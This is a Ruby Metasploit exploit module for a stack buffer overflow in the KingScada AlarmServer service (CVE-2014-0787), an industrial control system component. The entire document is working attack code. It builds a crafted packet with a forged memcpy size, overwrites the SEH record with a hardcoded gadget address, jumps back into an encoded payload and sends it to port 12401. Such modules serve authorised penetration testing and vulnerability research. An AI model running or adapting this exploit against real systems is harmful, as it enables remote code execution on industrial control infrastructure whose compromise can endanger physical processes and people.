require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'KingScada AlarmServer Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow found in KingScada < 3.1.2.13. The vulnerability is triggered when sending a specially crafted packet to the 'AlarmServer' (AEserver.exe) service listening on port 12401. During the parsing of the packet the 3rd dword is used as a size value for a memcpy operation which leads to an overflown stack buffer }, 'Author' => [ 'James Fitts' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2014-0787' ], [ 'ZDI', '14-071' ], [ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-098-02' ] ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 EN / WellinTech KingScada 31.1.1.4', { # dbghelp.dll # pop esi/ pop edi/ retn 'ret' => 0x02881fbf, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 10, 2014')) register_options([Opt::RPORT(12401)], self.class) end def exploit connect p = payload.encoded buf = make_nops(5000) buf[0, 4] = [0x000004d2].pack('V') buf[4, 4] = [0x0000007b].pack('V') buf[8, 4] = [0x0000133c].pack('V') # size for memcpy() buf[1128, p.length] = p buf[2128, 8] = generate_seh_record(target['ret']) buf[2136, 5] = "\xe9\x4b\xfb\xff\xff" # jmp $-1200 print_status("Trying target #{target.name}...") sock.put(buf) handler disconnect end end